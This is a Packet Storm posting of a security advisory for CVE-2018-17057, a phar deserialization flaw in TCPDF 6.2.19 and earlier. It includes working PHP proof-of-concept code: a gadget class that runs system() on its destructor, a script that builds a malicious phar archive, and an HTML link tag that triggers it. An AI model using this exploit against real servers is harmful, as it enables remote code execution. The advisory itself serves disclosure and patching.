exploit the possibilities

TCPDF 6.2.19 Deserialization / Remote Code Execution

TCPDF 6.2.19 Deserialization / Remote Code Execution
Posted Mar 22, 2019
Authored by polict | Site polict.net

TCPDF versions 6.2.19 and below suffer from a deserialization vulnerability that can allow for remote code execution.

tags | exploit, remote, code execution
advisories | CVE-2018-17057
MD5 | 3a4148cacb34c39b20a5f45f238606d4

TCPDF 6.2.19 Deserialization / Remote Code Execution

Change Mirror Download
CVE-2018-17057: phar deserialization in TCPDF might lead to RCE
---------------------------------------------------------------

Affected products
=================

TCPDF <= 6.2.19

Background
==========

"Started in 2002, TCPDF is now one of the world's most active Open Source
projects, used daily by millions of users and included in thousands of CMS
and Web applications." - https://tcpdf.org/

"PHP library for generating PDF documents on-the-fly." -
https://github.com/tecnickcom/TCPDF

Description
===========

TCPDF allows the developers to insert HTML code inside the PDF, which will
be translated to a similar-looking design during PDF creation. For example
it is possible to insert basic HTML tags, such as "img" or "b" and have the
image and bold text placed in the output PDF.
The library allows also to include custom CSS rules by defining a "link"
tag, like the following:
<link type="text/css" href="style.css">

While it is a nice feature to have for the developer, it may cause problems
in case the PDF creation script is vulnerable to Cross-Site Scripting (or
"Code Injection") issues through which an attacker can inject arbitrary
HTML code. For example during an invoice creation, an attacker can use its
information written on the invoice to insert a malicious "link" tag
pointing to a local phar archive and trigger a PHP Object Injection through
the phar:// scheme once the web application reads that file.

Exploit
=======

In order to test this vulnerability it's enough to clone the project from
github and checkout a vulnerable version, such as 6.2.19:
git clone https://github.com/tecnickcom/TCPDF.git && cd TCPDF && git
checkout tags/6.2.19

After that it is possible to craft a phar archive containing a malicious
PHP Object and potentially trigger a RCE, here is a vulnerable code which
helps to reproduce the issue:
<?php
/*
* title: PHP object injection via phar:// deserialization
* author: polict
* target: TCPDF (https://github.com/tecnickcom/TCPDF) <= 6.2.19
* setup: git clone https://github.com/tecnickcom/TCPDF.git && cd
TCPDF && git checkout tags/6.2.19
*/

/* include vulnerable class (any PHP Object Injection gadget can be used,
see https://github.com/ambionics/phpggc) */
class Vulnerable {
function __destruct() { system($this->hook); }
}

/* include the main TCPDF library */
require_once('tcpdf.php');
/* create new PDF document */
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true,
'UTF-8', false);
/* set document information */
$pdf->SetAuthor('polict');
$pdf->SetTitle('Proof of concept');
/* start pdf */
$pdf->AddPage();
/* create some HTML content */
$html = '<link type="text/css" href="phar://./poc.phar">';
/* insert the HTML content -- exploit will trigger here */
$pdf->writeHTML($html, true, false, true, false, '');
/* close and output PDF document */
$pdf->Output('poc.pdf', 'I');

In order to create the evil archive it's possible to use PHP:
<?php
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

$malicious_object = new Vulnerable();
$malicious_object->hook = "whoami";
$phar->setMetadata($malicious_object); // <-- inject the trigger

$phar->stopBuffering();

The archive will be in 'poc.phar'.

Note: This vulnerability depends on the developer using writeHTML() with
user-supplied input.

Author
======

This issue was discovered by polict (https://polict.net).

Timeline
========

17 august 2018:
—> report to developer

14 september 2018:
—> ping
<— released 6.2.20 (which re-introduced the vulnerability reported by Sam
Thomas, see
https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf
)
—> ping about re-introduction of old vulnerability
<— released 6.2.22 with fix for both
MITRE assigned CVE-2018-17057

17 march 2019:
public release


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close